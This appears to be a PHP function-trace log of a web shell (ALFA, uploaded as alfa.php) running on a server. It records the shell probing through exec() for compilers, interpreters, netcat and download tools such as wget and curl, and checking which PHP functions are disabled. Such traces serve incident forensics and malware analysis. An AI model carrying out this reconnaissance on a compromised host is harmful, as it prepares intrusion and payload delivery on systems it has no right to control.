7 304 1 0.036389 2801592
7 304 R TRUE
7 305 0 0.036402 2801576 exec 0 /var/www/html/uploads/alfa.php 762 2 'which lcc' ''
7 305 1 0.037681 2801696
7 305 R ''
7 306 0 0.037707 2801632 join 0 /var/www/html/uploads/alfa.php 763 2 '\n' []
7 306 1 0.037722 2801696
7 306 R ''
6 A /var/www/html/uploads/alfa.php 763 $out = ''
6 303 1 0.037747 2801552
6 303 R ''
5 A /var/www/html/uploads/alfa.php 744 $data = ''
5 302 1 0.037771 2801552
5 302 R ''
4 A /var/www/html/uploads/alfa.php 2404 $path = ''
4 301 1 0.037794 2801512
4 301 R FALSE
4 307 0 0.037808 2801512 alfaWhich 1 /var/www/html/uploads/alfa.php 1155 1 'cc'
5 308 0 0.037822 2801552 alfaEx 1 /var/www/html/uploads/alfa.php 2404 4 'which cc' FALSE FALSE ???
6 309 0 0.037836 2801552 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php 744 2 'which cc' FALSE
6 A /var/www/html/uploads/alfa.php 758 $out = ''
7 310 0 0.037861 2801552 function_exists 0 /var/www/html/uploads/alfa.php 761 1 'exec'
7 310 1 0.037875 2801592
7 310 R TRUE
7 311 0 0.037887 2801576 exec 0 /var/www/html/uploads/alfa.php 762 2 'which cc' ''
7 311 1 0.039099 2802096
7 311 R '/usr/bin/cc'
7 312 0 0.039124 2801992 join 0 /var/www/html/uploads/alfa.php 763 2 '\n' [0 => '/usr/bin/cc']
7 312 1 0.039141 2802056
7 312 R '/usr/bin/cc'
6 A /var/www/html/uploads/alfa.php 763 $out = '/usr/bin/cc'
6 309 1 0.039168 2801592
6 309 R '/usr/bin/cc'
5 A /var/www/html/uploads/alfa.php 744 $data = '/usr/bin/cc'
5 308 1 0.039193 2801592
5 308 R '/usr/bin/cc'
4 A /var/www/html/uploads/alfa.php 2404 $path = '/usr/bin/cc'
4 307 1 0.039217 2801512
4 307 R 11
3 A /var/www/html/uploads/alfa.php 1155 $x++
4 313 0 0.039241 2801512 alfaWhich 1 /var/www/html/uploads/alfa.php 1155 1 'ld'
5 314 0 0.039255 2801552 alfaEx 1 /var/www/html/uploads/alfa.php 2404 4 'which ld' FALSE FALSE ???
6 315 0 0.039269 2801552 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php 744 2 'which ld' FALSE
6 A /var/www/html/uploads/alfa.php 758 $out = ''
7 316 0 0.039293 2801552 function_exists 0 /var/www/html/uploads/alfa.php 761 1 'exec'
7 316 1 0.039307 2801592
7 316 R TRUE
7 317 0 0.039320 2801576 exec 0 /var/www/html/uploads/alfa.php 762 2 'which ld' ''
7 317 1 0.040517 2802096
7 317 R '/usr/bin/ld'
7 318 0 0.040542 2801992 join 0 /var/www/html/uploads/alfa.php 763 2 '\n' [0 => '/usr/bin/ld']
7 318 1 0.040559 2802056
7 318 R '/usr/bin/ld'
6 A /var/www/html/uploads/alfa.php 763 $out = '/usr/bin/ld'
6 315 1 0.040616 2801592
6 315 R '/usr/bin/ld'
5 A /var/www/html/uploads/alfa.php 744 $data = '/usr/bin/ld'
5 314 1 0.040644 2801592
5 314 R '/usr/bin/ld'
4 A /var/www/html/uploads/alfa.php 2404 $path = '/usr/bin/ld'
4 313 1 0.040668 2801512
4 313 R 11
3 A /var/www/html/uploads/alfa.php 1155 $x++
4 319 0 0.040692 2801512 alfaWhich 1 /var/www/html/uploads/alfa.php 1155 1 'make'
5 320 0 0.040706 2801552 alfaEx 1 /var/www/html/uploads/alfa.php 2404 4 'which make' FALSE FALSE ???
6 321 0 0.040721 2801552 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php 744 2 'which make' FALSE
6 A /var/www/html/uploads/alfa.php 758 $out = ''
7 322 0 0.040744 2801552 function_exists 0 /var/www/html/uploads/alfa.php 761 1 'exec'
7 322 1 0.040757 2801592
7 322 R TRUE
7 323 0 0.040770 2801576 exec 0 /var/www/html/uploads/alfa.php 762 2 'which make' ''
7 323 1 0.041917 2802096
7 323 R '/usr/bin/make'
7 324 0 0.041942 2801992 join 0 /var/www/html/uploads/alfa.php 763 2 '\n' [0 => '/usr/bin/make']
7 324 1 0.041959 2802056
7 324 R '/usr/bin/make'
6 A /var/www/html/uploads/alfa.php 763 $out = '/usr/bin/make'
6 321 1 0.041986 2801592
6 321 R '/usr/bin/make'
5 A /var/www/html/uploads/alfa.php 744 $data = '/usr/bin/make'
5 320 1 0.042012 2801592
5 320 R '/usr/bin/make'
4 A /var/www/html/uploads/alfa.php 2404 $path = '/usr/bin/make'
4 319 1 0.042037 2801512
4 319 R 13
3 A /var/www/html/uploads/alfa.php 1155 $x++
4 325 0 0.042061 2801512 alfaWhich 1 /var/www/html/uploads/alfa.php 1155 1 'php'
5 326 0 0.042074 2801552 alfaEx 1 /var/www/html/uploads/alfa.php 2404 4 'which php' FALSE FALSE ???
6 327 0 0.042088 2801552 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php 744 2 'which php' FALSE
6 A /var/www/html/uploads/alfa.php 758 $out = ''
7 328 0 0.042113 2801552 function_exists 0 /var/www/html/uploads/alfa.php 761 1 'exec'
7 328 1 0.042126 2801592
7 328 R TRUE
7 329 0 0.042139 2801576 exec 0 /var/www/html/uploads/alfa.php 762 2 'which php' ''
7 329 1 0.043172 2802096
7 329 R '/usr/bin/php'
7 330 0 0.043197 2801992 join 0 /var/www/html/uploads/alfa.php 763 2 '\n' [0 => '/usr/bin/php']
7 330 1 0.043213 2802056
7 330 R '/usr/bin/php'
6 A /var/www/html/uploads/alfa.php 763 $out = '/usr/bin/php'
6 327 1 0.043241 2801592
6 327 R '/usr/bin/php'
5 A /var/www/html/uploads/alfa.php 744 $data = '/usr/bin/php'
5 326 1 0.043266 2801592
5 326 R '/usr/bin/php'
4 A /var/www/html/uploads/alfa.php 2404 $path = '/usr/bin/php'
4 325 1 0.043291 2801512
4 325 R 12
3 A /var/www/html/uploads/alfa.php 1155 $x++
4 331 0 0.043315 2801512 alfaWhich 1 /var/www/html/uploads/alfa.php 1155 1 'perl'
5 332 0 0.043329 2801552 alfaEx 1 /var/www/html/uploads/alfa.php 2404 4 'which perl' FALSE FALSE ???
6 333 0 0.043343 2801552 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php 744 2 'which perl' FALSE
6 A /var/www/html/uploads/alfa.php 758 $out = ''
7 334 0 0.043367 2801552 function_exists 0 /var/www/html/uploads/alfa.php 761 1 'exec'
7 334 1 0.043381 2801592
7 334 R TRUE
7 335 0 0.043394 2801576 exec 0 /var/www/html/uploads/alfa.php 762 2 'which perl' ''
7 335 1 0.044403 2802096
7 335 R '/usr/bin/perl'
7 336 0 0.044428 2801992 join 0 /var/www/html/uploads/alfa.php 763 2 '\n' [0 => '/usr/bin/perl']
7 336 1 0.044444 2802056
7 336 R '/usr/bin/perl'
6 A /var/www/html/uploads/alfa.php 763 $out = '/usr/bin/perl'
6 333 1 0.044471 2801592
6 333 R '/usr/bin/perl'
5 A /var/www/html/uploads/alfa.php 744 $data = '/usr/bin/perl'
5 332 1 0.044496 2801592
5 332 R '/usr/bin/perl'
4 A /var/www/html/uploads/alfa.php 2404 $path = '/usr/bin/perl'
4 331 1 0.044521 2801512
4 331 R 13
3 A /var/www/html/uploads/alfa.php 1155 $x++
4 337 0 0.044552 2801512 alfaWhich 1 /var/www/html/uploads/alfa.php 1155 1 'python'
5 338 0 0.044566 2801552 alfaEx 1 /var/www/html/uploads/alfa.php 2404 4 'which python' FALSE FALSE ???
6 339 0 0.044580 2801552 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php 744 2 'which python' FALSE
6 A /var/www/html/uploads/alfa.php 758 $out = ''
7 340 0 0.044603 2801552 function_exists 0 /var/www/html/uploads/alfa.php 761 1 'exec'
7 340 1 0.044617 2801592
7 340 R TRUE
7 341 0 0.044630 2801576 exec 0 /var/www/html/uploads/alfa.php 762 2 'which python' ''
7 341 1 0.045836 2801696
7 341 R ''
7 342 0 0.045873 2801632 join 0 /var/www/html/uploads/alfa.php 763 2 '\n' []
7 342 1 0.045895 2801696
7 342 R ''
6 A /var/www/html/uploads/alfa.php 763 $out = ''
6 339 1 0.045934 2801552
6 339 R ''
5 A /var/www/html/uploads/alfa.php 744 $data = ''
5 338 1 0.045971 2801552
5 338 R ''
4 A /var/www/html/uploads/alfa.php 2404 $path = ''
4 337 1 0.046006 2801512
4 337 R FALSE
4 343 0 0.046028 2801512 alfaWhich 1 /var/www/html/uploads/alfa.php 1155 1 'ruby'
5 344 0 0.046048 2801552 alfaEx 1 /var/www/html/uploads/alfa.php 2404 4 'which ruby' FALSE FALSE ???
6 345 0 0.046069 2801552 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php 744 2 'which ruby' FALSE
6 A /var/www/html/uploads/alfa.php 758 $out = ''
7 346 0 0.046104 2801552 function_exists 0 /var/www/html/uploads/alfa.php 761 1 'exec'
7 346 1 0.046124 2801592
7 346 R TRUE
7 347 0 0.046145 2801576 exec 0 /var/www/html/uploads/alfa.php 762 2 'which ruby' ''
7 347 1 0.047473 2801696
7 347 R ''
7 348 0 0.047505 2801632 join 0 /var/www/html/uploads/alfa.php 763 2 '\n' []
7 348 1 0.047522 2801696
7 348 R ''
6 A /var/www/html/uploads/alfa.php 763 $out = ''
6 345 1 0.047548 2801552
6 345 R ''
5 A /var/www/html/uploads/alfa.php 744 $data = ''
5 344 1 0.047572 2801552
5 344 R ''
4 A /var/www/html/uploads/alfa.php 2404 $path = ''
4 343 1 0.047595 2801512
4 343 R FALSE
4 349 0 0.047609 2801512 alfaWhich 1 /var/www/html/uploads/alfa.php 1155 1 'tar'
5 350 0 0.047623 2801552 alfaEx 1 /var/www/html/uploads/alfa.php 2404 4 'which tar' FALSE FALSE ???
6 351 0 0.047638 2801552 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php 744 2 'which tar' FALSE
6 A /var/www/html/uploads/alfa.php 758 $out = ''
7 352 0 0.047662 2801552 function_exists 0 /var/www/html/uploads/alfa.php 761 1 'exec'
7 352 1 0.047676 2801592
7 352 R TRUE
7 353 0 0.047689 2801576 exec 0 /var/www/html/uploads/alfa.php 762 2 'which tar' ''
7 353 1 0.049002 2802096
7 353 R '/usr/bin/tar'
7 354 0 0.049036 2801992 join 0 /var/www/html/uploads/alfa.php 763 2 '\n' [0 => '/usr/bin/tar']
7 354 1 0.049054 2802056
7 354 R '/usr/bin/tar'
6 A /var/www/html/uploads/alfa.php 763 $out = '/usr/bin/tar'
6 351 1 0.049082 2801592
6 351 R '/usr/bin/tar'
5 A /var/www/html/uploads/alfa.php 744 $data = '/usr/bin/tar'
5 350 1 0.049109 2801592
5 350 R '/usr/bin/tar'
4 A /var/www/html/uploads/alfa.php 2404 $path = '/usr/bin/tar'
4 349 1 0.049134 2801512
4 349 R 12
3 A /var/www/html/uploads/alfa.php 1155 $x++
4 355 0 0.049160 2801512 alfaWhich 1 /var/www/html/uploads/alfa.php 1155 1 'gzip'
5 356 0 0.049174 2801552 alfaEx 1 /var/www/html/uploads/alfa.php 2404 4 'which gzip' FALSE FALSE ???
6 357 0 0.049189 2801552 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php 744 2 'which gzip' FALSE
6 A /var/www/html/uploads/alfa.php 758 $out = ''
7 358 0 0.049213 2801552 function_exists 0 /var/www/html/uploads/alfa.php 761 1 'exec'
7 358 1 0.049227 2801592
7 358 R TRUE
7 359 0 0.049240 2801576 exec 0 /var/www/html/uploads/alfa.php 762 2 'which gzip' ''
7 359 1 0.050444 2802096
7 359 R '/usr/bin/gzip'
7 360 0 0.050470 2801992 join 0 /var/www/html/uploads/alfa.php 763 2 '\n' [0 => '/usr/bin/gzip']
7 360 1 0.050494 2802056
7 360 R '/usr/bin/gzip'
6 A /var/www/html/uploads/alfa.php 763 $out = '/usr/bin/gzip'
6 357 1 0.050522 2801592
6 357 R '/usr/bin/gzip'
5 A /var/www/html/uploads/alfa.php 744 $data = '/usr/bin/gzip'
5 356 1 0.050548 2801592
5 356 R '/usr/bin/gzip'
4 A /var/www/html/uploads/alfa.php 2404 $path = '/usr/bin/gzip'
4 355 1 0.050573 2801512
4 355 R 13
3 A /var/www/html/uploads/alfa.php 1155 $x++
4 361 0 0.050597 2801512 alfaWhich 1 /var/www/html/uploads/alfa.php 1155 1 'bzip'
5 362 0 0.050611 2801552 alfaEx 1 /var/www/html/uploads/alfa.php 2404 4 'which bzip' FALSE FALSE ???
6 363 0 0.050625 2801552 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php 744 2 'which bzip' FALSE
6 A /var/www/html/uploads/alfa.php 758 $out = ''
7 364 0 0.050650 2801552 function_exists 0 /var/www/html/uploads/alfa.php 761 1 'exec'
7 364 1 0.050664 2801592
7 364 R TRUE
7 365 0 0.050677 2801576 exec 0 /var/www/html/uploads/alfa.php 762 2 'which bzip' ''
7 365 1 0.051882 2801696
7 365 R ''
7 366 0 0.051905 2801632 join 0 /var/www/html/uploads/alfa.php 763 2 '\n' []
7 366 1 0.051920 2801696
7 366 R ''
6 A /var/www/html/uploads/alfa.php 763 $out = ''
6 363 1 0.051945 2801552
6 363 R ''
5 A /var/www/html/uploads/alfa.php 744 $data = ''
5 362 1 0.051968 2801552
5 362 R ''
4 A /var/www/html/uploads/alfa.php 2404 $path = ''
4 361 1 0.051991 2801512
4 361 R FALSE
4 367 0 0.052004 2801512 alfaWhich 1 /var/www/html/uploads/alfa.php 1155 1 'bzialfa2'
5 368 0 0.052019 2801552 alfaEx 1 /var/www/html/uploads/alfa.php 2404 4 'which bzialfa2' FALSE FALSE ???
6 369 0 0.052033 2801552 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php 744 2 'which bzialfa2' FALSE
6 A /var/www/html/uploads/alfa.php 758 $out = ''
7 370 0 0.052057 2801552 function_exists 0 /var/www/html/uploads/alfa.php 761 1 'exec'
7 370 1 0.052071 2801592
7 370 R TRUE
7 371 0 0.052083 2801576 exec 0 /var/www/html/uploads/alfa.php 762 2 'which bzialfa2' ''
7 371 1 0.053319 2801696
7 371 R ''
7 372 0 0.053343 2801632 join 0 /var/www/html/uploads/alfa.php 763 2 '\n' []
7 372 1 0.053358 2801696
7 372 R ''
6 A /var/www/html/uploads/alfa.php 763 $out = ''
6 369 1 0.053383 2801552
6 369 R ''
5 A /var/www/html/uploads/alfa.php 744 $data = ''
5 368 1 0.053407 2801552
5 368 R ''
4 A /var/www/html/uploads/alfa.php 2404 $path = ''
4 367 1 0.053430 2801512
4 367 R FALSE
4 373 0 0.053444 2801512 alfaWhich 1 /var/www/html/uploads/alfa.php 1155 1 'nc'
5 374 0 0.053458 2801552 alfaEx 1 /var/www/html/uploads/alfa.php 2404 4 'which nc' FALSE FALSE ???
6 375 0 0.053472 2801552 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php 744 2 'which nc' FALSE
6 A /var/www/html/uploads/alfa.php 758 $out = ''
7 376 0 0.053496 2801552 function_exists 0 /var/www/html/uploads/alfa.php 761 1 'exec'
7 376 1 0.053509 2801592
7 376 R TRUE
7 377 0 0.053522 2801576 exec 0 /var/www/html/uploads/alfa.php 762 2 'which nc' ''
7 377 1 0.054721 2802096
7 377 R '/usr/bin/nc'
7 378 0 0.054744 2801992 join 0 /var/www/html/uploads/alfa.php 763 2 '\n' [0 => '/usr/bin/nc']
7 378 1 0.054761 2802056
7 378 R '/usr/bin/nc'
6 A /var/www/html/uploads/alfa.php 763 $out = '/usr/bin/nc'
6 375 1 0.054788 2801592
6 375 R '/usr/bin/nc'
5 A /var/www/html/uploads/alfa.php 744 $data = '/usr/bin/nc'
5 374 1 0.054813 2801592
5 374 R '/usr/bin/nc'
4 A /var/www/html/uploads/alfa.php 2404 $path = '/usr/bin/nc'
4 373 1 0.054838 2801512
4 373 R 11
3 A /var/www/html/uploads/alfa.php 1155 $x++
4 379 0 0.054861 2801512 alfaWhich 1 /var/www/html/uploads/alfa.php 1155 1 'locate'
5 380 0 0.054875 2801552 alfaEx 1 /var/www/html/uploads/alfa.php 2404 4 'which locate' FALSE FALSE ???
6 381 0 0.054894 2801552 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php 744 2 'which locate' FALSE
6 A /var/www/html/uploads/alfa.php 758 $out = ''
7 382 0 0.054918 2801552 function_exists 0 /var/www/html/uploads/alfa.php 761 1 'exec'
7 382 1 0.054931 2801592
7 382 R TRUE
7 383 0 0.054944 2801576 exec 0 /var/www/html/uploads/alfa.php 762 2 'which locate' ''
7 383 1 0.056114 2801696
7 383 R ''
7 384 0 0.056135 2801632 join 0 /var/www/html/uploads/alfa.php 763 2 '\n' []
7 384 1 0.056151 2801696
7 384 R ''
6 A /var/www/html/uploads/alfa.php 763 $out = ''
6 381 1 0.056176 2801552
6 381 R ''
5 A /var/www/html/uploads/alfa.php 744 $data = ''
5 380 1 0.056199 2801552
5 380 R ''
4 A /var/www/html/uploads/alfa.php 2404 $path = ''
4 379 1 0.056222 2801512
4 379 R FALSE
4 385 0 0.056236 2801512 alfaWhich 1 /var/www/html/uploads/alfa.php 1155 1 'suidperl'
5 386 0 0.056249 2801552 alfaEx 1 /var/www/html/uploads/alfa.php 2404 4 'which suidperl' FALSE FALSE ???
6 387 0 0.056265 2801552 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php 744 2 'which suidperl' FALSE
6 A /var/www/html/uploads/alfa.php 758 $out = ''
7 388 0 0.056289 2801552 function_exists 0 /var/www/html/uploads/alfa.php 761 1 'exec'
7 388 1 0.056302 2801592
7 388 R TRUE
7 389 0 0.056315 2801576 exec 0 /var/www/html/uploads/alfa.php 762 2 'which suidperl' ''
7 389 1 0.057543 2801696
7 389 R ''
7 390 0 0.057566 2801632 join 0 /var/www/html/uploads/alfa.php 763 2 '\n' []
7 390 1 0.057580 2801696
7 390 R ''
6 A /var/www/html/uploads/alfa.php 763 $out = ''
6 387 1 0.057605 2801552
6 387 R ''
5 A /var/www/html/uploads/alfa.php 744 $data = ''
5 386 1 0.057629 2801552
5 386 R ''
4 A /var/www/html/uploads/alfa.php 2404 $path = ''
4 385 1 0.057652 2801512
4 385 R FALSE
3 A /var/www/html/uploads/alfa.php 1161 $downloaders = [0 => 'wget', 1 => 'fetch', 2 => 'lynx', 3 => 'links', 4 => 'curl', 5 => 'get', 6 => 'lwp-mirror']
3 A /var/www/html/uploads/alfa.php 1162 $x = 0
4 391 0 0.057696 2801512 alfaWhich 1 /var/www/html/uploads/alfa.php 1163 1 'wget'
5 392 0 0.057710 2801552 alfaEx 1 /var/www/html/uploads/alfa.php 2404 4 'which wget' FALSE FALSE ???
6 393 0 0.057724 2801552 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php 744 2 'which wget' FALSE
6 A /var/www/html/uploads/alfa.php 758 $out = ''
7 394 0 0.057747 2801552 function_exists 0 /var/www/html/uploads/alfa.php 761 1 'exec'
7 394 1 0.057761 2801592
7 394 R TRUE
7 395 0 0.057774 2801576 exec 0 /var/www/html/uploads/alfa.php 762 2 'which wget' ''
7 395 1 0.058967 2802096
7 395 R '/usr/bin/wget'
7 396 0 0.058992 2801992 join 0 /var/www/html/uploads/alfa.php 763 2 '\n' [0 => '/usr/bin/wget']
7 396 1 0.059009 2802056
7 396 R '/usr/bin/wget'
6 A /var/www/html/uploads/alfa.php 763 $out = '/usr/bin/wget'
6 393 1 0.059036 2801592
6 393 R '/usr/bin/wget'
5 A /var/www/html/uploads/alfa.php 744 $data = '/usr/bin/wget'
5 392 1 0.059062 2801592
5 392 R '/usr/bin/wget'
4 A /var/www/html/uploads/alfa.php 2404 $path = '/usr/bin/wget'
4 391 1 0.059087 2801512
4 391 R 13
3 A /var/www/html/uploads/alfa.php 1163 $x++
4 397 0 0.059111 2801512 alfaWhich 1 /var/www/html/uploads/alfa.php 1163 1 'fetch'
5 398 0 0.059125 2801552 alfaEx 1 /var/www/html/uploads/alfa.php 2404 4 'which fetch' FALSE FALSE ???
6 399 0 0.059139 2801552 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php 744 2 'which fetch' FALSE
6 A /var/www/html/uploads/alfa.php 758 $out = ''
7 400 0 0.059162 2801552 function_exists 0 /var/www/html/uploads/alfa.php 761 1 'exec'
7 400 1 0.059175 2801592
7 400 R TRUE
7 401 0 0.059188 2801576 exec 0 /var/www/html/uploads/alfa.php 762 2 'which fetch' ''
7 401 1 0.060380 2801696
7 401 R ''
7 402 0 0.060403 2801632 join 0 /var/www/html/uploads/alfa.php 763 2 '\n' []
7 402 1 0.060424 2801696
7 402 R ''
6 A /var/www/html/uploads/alfa.php 763 $out = ''
6 399 1 0.060449 2801552
6 399 R ''
5 A /var/www/html/uploads/alfa.php 744 $data = ''
5 398 1 0.060473 2801552
5 398 R ''
4 A /var/www/html/uploads/alfa.php 2404 $path = ''
4 397 1 0.060496 2801512
4 397 R FALSE
4 403 0 0.060510 2801512 alfaWhich 1 /var/www/html/uploads/alfa.php 1163 1 'lynx'
5 404 0 0.060524 2801552 alfaEx 1 /var/www/html/uploads/alfa.php 2404 4 'which lynx' FALSE FALSE ???
6 405 0 0.060538 2801552 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php 744 2 'which lynx' FALSE
6 A /var/www/html/uploads/alfa.php 758 $out = ''
7 406 0 0.060562 2801552 function_exists 0 /var/www/html/uploads/alfa.php 761 1 'exec'
7 406 1 0.060578 2801592
7 406 R TRUE
7 407 0 0.060591 2801576 exec 0 /var/www/html/uploads/alfa.php 762 2 'which lynx' ''
7 407 1 0.061804 2801696
7 407 R ''
7 408 0 0.061827 2801632 join 0 /var/www/html/uploads/alfa.php 763 2 '\n' []
7 408 1 0.061842 2801696
7 408 R ''
6 A /var/www/html/uploads/alfa.php 763 $out = ''
6 405 1 0.061868 2801552
6 405 R ''
5 A /var/www/html/uploads/alfa.php 744 $data = ''
5 404 1 0.061891 2801552
5 404 R ''
4 A /var/www/html/uploads/alfa.php 2404 $path = ''
4 403 1 0.061913 2801512
4 403 R FALSE
4 409 0 0.061927 2801512 alfaWhich 1 /var/www/html/uploads/alfa.php 1163 1 'links'
5 410 0 0.061941 2801552 alfaEx 1 /var/www/html/uploads/alfa.php 2404 4 'which links' FALSE FALSE ???
6 411 0 0.061955 2801552 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php 744 2 'which links' FALSE
6 A /var/www/html/uploads/alfa.php 758 $out = ''
7 412 0 0.061980 2801552 function_exists 0 /var/www/html/uploads/alfa.php 761 1 'exec'
7 412 1 0.061993 2801592
7 412 R TRUE
7 413 0 0.062006 2801576 exec 0 /var/www/html/uploads/alfa.php 762 2 'which links' ''
7 413 1 0.063194 2801696
7 413 R ''
7 414 0 0.063217 2801632 join 0 /var/www/html/uploads/alfa.php 763 2 '\n' []
7 414 1 0.063232 2801696
7 414 R ''
6 A /var/www/html/uploads/alfa.php 763 $out = ''
6 411 1 0.063257 2801552
6 411 R ''
5 A /var/www/html/uploads/alfa.php 744 $data = ''
5 410 1 0.063281 2801552
5 410 R ''
4 A /var/www/html/uploads/alfa.php 2404 $path = ''
4 409 1 0.063304 2801512
4 409 R FALSE
4 415 0 0.063317 2801512 alfaWhich 1 /var/www/html/uploads/alfa.php 1163 1 'curl'
5 416 0 0.063331 2801552 alfaEx 1 /var/www/html/uploads/alfa.php 2404 4 'which curl' FALSE FALSE ???
6 417 0 0.063346 2801552 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php 744 2 'which curl' FALSE
6 A /var/www/html/uploads/alfa.php 758 $out = ''
7 418 0 0.063370 2801552 function_exists 0 /var/www/html/uploads/alfa.php 761 1 'exec'
7 418 1 0.063383 2801592
7 418 R TRUE
7 419 0 0.063397 2801576 exec 0 /var/www/html/uploads/alfa.php 762 2 'which curl' ''
7 419 1 0.064621 2802096
7 419 R '/usr/bin/curl'
7 420 0 0.064647 2801992 join 0 /var/www/html/uploads/alfa.php 763 2 '\n' [0 => '/usr/bin/curl']
7 420 1 0.064663 2802056
7 420 R '/usr/bin/curl'
6 A /var/www/html/uploads/alfa.php 763 $out = '/usr/bin/curl'
6 417 1 0.064690 2801592
6 417 R '/usr/bin/curl'
5 A /var/www/html/uploads/alfa.php 744 $data = '/usr/bin/curl'
5 416 1 0.064715 2801592
5 416 R '/usr/bin/curl'
4 A /var/www/html/uploads/alfa.php 2404 $path = '/usr/bin/curl'
4 415 1 0.064740 2801512
4 415 R 13
3 A /var/www/html/uploads/alfa.php 1163 $x++
4 421 0 0.064763 2801512 alfaWhich 1 /var/www/html/uploads/alfa.php 1163 1 'get'
5 422 0 0.064777 2801552 alfaEx 1 /var/www/html/uploads/alfa.php 2404 4 'which get' FALSE FALSE ???
6 423 0 0.064791 2801552 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php 744 2 'which get' FALSE
6 A /var/www/html/uploads/alfa.php 758 $out = ''
7 424 0 0.064821 2801552 function_exists 0 /var/www/html/uploads/alfa.php 761 1 'exec'
7 424 1 0.064835 2801592
7 424 R TRUE
7 425 0 0.064848 2801576 exec 0 /var/www/html/uploads/alfa.php 762 2 'which get' ''
7 425 1 0.066042 2801696
7 425 R ''
7 426 0 0.066065 2801632 join 0 /var/www/html/uploads/alfa.php 763 2 '\n' []
7 426 1 0.066080 2801696
7 426 R ''
6 A /var/www/html/uploads/alfa.php 763 $out = ''
6 423 1 0.066105 2801552
6 423 R ''
5 A /var/www/html/uploads/alfa.php 744 $data = ''
5 422 1 0.066128 2801552
5 422 R ''
4 A /var/www/html/uploads/alfa.php 2404 $path = ''
4 421 1 0.066151 2801512
4 421 R FALSE
4 427 0 0.066164 2801512 alfaWhich 1 /var/www/html/uploads/alfa.php 1163 1 'lwp-mirror'
5 428 0 0.066178 2801560 alfaEx 1 /var/www/html/uploads/alfa.php 2404 4 'which lwp-mirror' FALSE FALSE ???
6 429 0 0.066192 2801560 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php 744 2 'which lwp-mirror' FALSE
6 A /var/www/html/uploads/alfa.php 758 $out = ''
7 430 0 0.066217 2801560 function_exists 0 /var/www/html/uploads/alfa.php 761 1 'exec'
7 430 1 0.066230 2801600
7 430 R TRUE
7 431 0 0.066244 2801584 exec 0 /var/www/html/uploads/alfa.php 762 2 'which lwp-mirror' ''
7 431 1 0.067445 2802120
7 431 R '/usr/bin/lwp-mirror'
7 432 0 0.067470 2802008 join 0 /var/www/html/uploads/alfa.php 763 2 '\n' [0 => '/usr/bin/lwp-mirror']
7 432 1 0.067487 2802072
7 432 R '/usr/bin/lwp-mirror'
6 A /var/www/html/uploads/alfa.php 763 $out = '/usr/bin/lwp-mirror'
6 429 1 0.067514 2801608
6 429 R '/usr/bin/lwp-mirror'
5 A /var/www/html/uploads/alfa.php 744 $data = '/usr/bin/lwp-mirror'
5 428 1 0.067540 2801608
5 428 R '/usr/bin/lwp-mirror'
4 A /var/www/html/uploads/alfa.php 2404 $path = '/usr/bin/lwp-mirror'
4 427 1 0.067565 2801512
4 427 R 19
3 A /var/www/html/uploads/alfa.php 1163 $x++
4 433 0 0.067590 2801512 function_exists 0 /var/www/html/uploads/alfa.php 1181 1 'get_magic_quotes_gpc'
4 433 1 0.067604 2801552
4 433 R TRUE
4 434 0 0.067617 2801512 get_magic_quotes_gpc 0 /var/www/html/uploads/alfa.php 1181 0
4 434 1 0.067629 2801512
4 434 R FALSE
3 A /var/www/html/uploads/alfa.php 1181 $quotes = FALSE
3 A /var/www/html/uploads/alfa.php 1181 $magic = '<span class="header_off">OFF</span>'
4 435 0 0.067666 2801512 Alfa_GetDisable_Function 1 /var/www/html/uploads/alfa.php 1183 0
5 436 0 0.067680 2801512 ini_get 0 /var/www/html/uploads/alfa.php 917 1 'disable_functions'
5 436 1 0.067694 2801992
5 436 R 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4 A /var/www/html/uploads/alfa.php 917 $disfun = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4 A /var/www/html/uploads/alfa.php 918 $afa = '<span class="header_show_all">All Functions Accessible</span>'
5 437 0 0.067754 2801960 explode 0 /var/www/html/uploads/alfa.php 920 2 ',' 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
5 437 1 0.067777 2804432
